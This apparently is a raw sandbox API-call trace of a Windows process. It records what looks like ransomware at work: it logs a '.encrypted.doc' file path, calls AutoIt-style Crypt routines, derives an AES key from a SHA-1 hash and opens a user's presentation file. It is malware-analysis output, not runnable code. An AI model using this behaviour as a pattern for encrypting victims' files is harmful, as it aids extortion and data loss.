SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, lpNewFilePointer=0xe8f3dff070, dwMoveMethod=0x1 | out: lpNewFilePointer=0xe8f3dff070*=3156) returned 1 [0024.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\n", cchWideChar=86, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 86 [0024.304] WideCharToMultiByte (in: CodePage=0xfde9, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\n", cchWideChar=86, lpMultiByteStr=0xe8f4069d70, cbMultiByte=86, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\U9OFxVyaM-sRGNq.encrypted.doc\r\n", lpUsedDefaultChar=0x0) returned 86 [0024.304] WriteFile (in: hFile=0x1fc, lpBuffer=0xe8f4062330*, nNumberOfBytesToWrite=0x55, lpNumberOfBytesWritten=0xe8f3dff0c0, lpOverlapped=0x0 | out: lpBuffer=0xe8f4062330*, lpNumberOfBytesWritten=0xe8f3dff0c0*=0x55, lpOverlapped=0x0) returned 1 [0024.304] CloseHandle (hObject=0x1fc) returned 1 [0024.306] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.306] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.306] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.307] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.307] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.307] CharUpperBuffW (in: lpsz="_FILEINUSE", cchLength=0xa | out: lpsz="_FILEINUSE") returned 0xa [0024.307] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.307] CharLowerBuffW (in: lpsz="hwnd", cchLength=0x4 | out: lpsz="hwnd") returned 0x4 [0024.308] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 11 [0024.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFile", cchWideChar=11, lpMultiByteStr=0xe8f41784e0, cbMultiByte=11, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFile", lpUsedDefaultChar=0x0) returned 11 [0024.308] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFile") returned 0x0 [0024.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.308] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CreateFileA", cchWideChar=12, lpMultiByteStr=0xe8f4178880, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CreateFileA", lpUsedDefaultChar=0x0) returned 12 [0024.308] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CreateFileA") returned 0x7ffe2a643194 [0024.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.pps", cchWideChar=70, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 70 [0024.309] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.pps", cchWideChar=70, lpMultiByteStr=0xe8f4051310, cbMultiByte=70, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.pps", lpUsedDefaultChar=0x0) returned 70 [0024.309] CreateFileA (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\wkbfm0bgic5.pps"), dwDesiredAccess=0xc0000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=70, lpWideCharStr=0x0, cchWideChar=0 | out: lpWideCharStr=0x0) returned 70 [0024.310] MultiByteToWideChar (in: CodePage=0x0, dwFlags=0x1, lpMultiByteStr=0xe8f41a09b0, cbMultiByte=70, lpWideCharStr=0xe8f4061840, cchWideChar=70 | out: lpWideCharStr="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.pps") returned 70 [0024.310] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.311] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.311] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.311] CharLowerBuffW (in: lpsz="int", cchLength=0x3 | out: lpsz="int") returned 0x3 [0024.311] LoadLibraryW (lpLibFileName="kernel32.dll") returned 0x7ffe2a640000 [0024.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 12 [0024.311] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="CloseHandle", cchWideChar=12, lpMultiByteStr=0xe8f4178700, cbMultiByte=12, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="CloseHandle", lpUsedDefaultChar=0x0) returned 12 [0024.311] GetProcAddress (hModule=0x7ffe2a640000, lpProcName="CloseHandle") returned 0x7ffe2a641560 [0024.311] CloseHandle (hObject=0x1fc) returned 1 [0024.311] FreeLibrary (hLibModule=0x7ffe2a640000) returned 1 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dfee70, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee70) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dff480, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff480) returned 0 [0024.312] CharUpperBuffW (in: lpsz="_ENCRYPT", cchLength=0x8 | out: lpsz="_ENCRYPT") returned 0x8 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.312] CharUpperBuffW (in: lpsz="_GETFILEEXT", cchLength=0xb | out: lpsz="_GETFILEEXT") returned 0xb [0024.312] PeekMessageW (in: lpMsg=0xe8f3dfea80, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfea80) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dff160, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dff160) returned 0 [0024.312] CharUpperBuffW (in: lpsz="_CRYPT_ENCRYPTFILE", cchLength=0x12 | out: lpsz="_CRYPT_ENCRYPTFILE") returned 0x12 [0024.312] CharUpperBuffW (in: lpsz="_GETFILENAMEEXEXT", cchLength=0x11 | out: lpsz="_GETFILENAMEEXEXT") returned 0x11 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dfeaf0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeaf0) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.312] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.312] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.312] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfe510, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe510) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLESET", cchLength=0x14 | out: lpsz="__CRYPT_DLLHANDLESET") returned 0x14 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfe280, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe280) returned 0 [0024.313] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.313] CryptAcquireContextA (in: phProv=0xe8f3dfe270, szContainer=0x0, szProvider=0x0, dwProvType=0x18, dwFlags=0xf0000000 | out: phProv=0xe8f3dfe270*=0xe8f406a550) returned 1 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXTSET", cchLength=0x12 | out: lpsz="__CRYPT_CONTEXTSET") returned 0x12 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.313] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe800, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe800) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfeb20, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfeb20) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.314] CharUpperBuffW (in: lpsz="_CRYPT_DERIVEKEY", cchLength=0x10 | out: lpsz="_CRYPT_DERIVEKEY") returned 0x10 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.314] CharUpperBuffW (in: lpsz="_CRYPT_STARTUP", cchLength=0xe | out: lpsz="_CRYPT_STARTUP") returned 0xe [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.314] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNT", cchLength=0x10 | out: lpsz="__CRYPT_REFCOUNT") returned 0x10 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfde30, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfde30) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.314] CharUpperBuffW (in: lpsz="__CRYPT_REFCOUNTINC", cchLength=0x13 | out: lpsz="__CRYPT_REFCOUNTINC") returned 0x13 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe120, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe120) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe440, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe440) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.314] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.314] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.314] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.314] CryptCreateHash (in: hProv=0xe8f406a550, Algid=0x8003, hKey=0x0, dwFlags=0x0, phHash=0xe8f3dfdf40 | out: phHash=0xe8f3dfdf40) returned 1 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.314] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.314] CharLowerBuffW (in: lpsz="byte[32]", cchLength=0x8 | out: lpsz="byte[32]") returned 0x8 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.315] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.315] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.315] CryptHashData (hHash=0xe8f4062720, pbData=0xe8f418ba50, dwDataLen=0x20, dwFlags=0x1) returned 1 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.315] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.315] CharUpperBuffW (in: lpsz="__CRYPT_CONTEXT", cchLength=0xf | out: lpsz="__CRYPT_CONTEXT") returned 0xf [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfdeb0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdeb0) returned 0 [0024.315] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.315] CryptDeriveKey (in: hProv=0xe8f406a550, Algid=0x660e, hBaseData=0xe8f4062720, dwFlags=0x1, phKey=0xe8f3dfdf40 | out: phKey=0xe8f3dfdf40*=0xe8f4062330) returned 1 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.315] CharUpperBuffW (in: lpsz="__CRYPT_DLLHANDLE", cchLength=0x11 | out: lpsz="__CRYPT_DLLHANDLE") returned 0x11 [0024.315] PeekMessageW (in: lpMsg=0xe8f3dfdfa0, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfdfa0) returned 0 [0024.315] CharLowerBuffW (in: lpsz="bool", cchLength=0x4 | out: lpsz="bool") returned 0x4 [0024.315] CryptDestroyHash (hHash=0xe8f4062720) returned 1 [0024.316] PeekMessageW (in: lpMsg=0xe8f3dfe760, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfe760) returned 0 [0024.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.317] PeekMessageW (in: lpMsg=0xe8f3dfee40, hWnd=0x0, wMsgFilterMin=0x0, wMsgFilterMax=0x0, wRemoveMsg=0x1 | out: lpMsg=0xe8f3dfee40) returned 0 [0024.317] CreateFileW (lpFileName="C:\\Users\\5JgHKoaOfdp\\Documents\\FW U\\dQOHpG0Nf9r1mosxu\\wKBfM0BgIc5.pps" (normalized: "c:\\users\\5jghkoaofdp\\documents\\fw u\\dqohpg0nf9r1mosxu\\wkbfm0bgic5.pps"), dwDesiredAccess=0x80000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1fc [0024.317] SetFilePointerEx (in: hFile=0x1fc, liDistanceToMove=0x0, 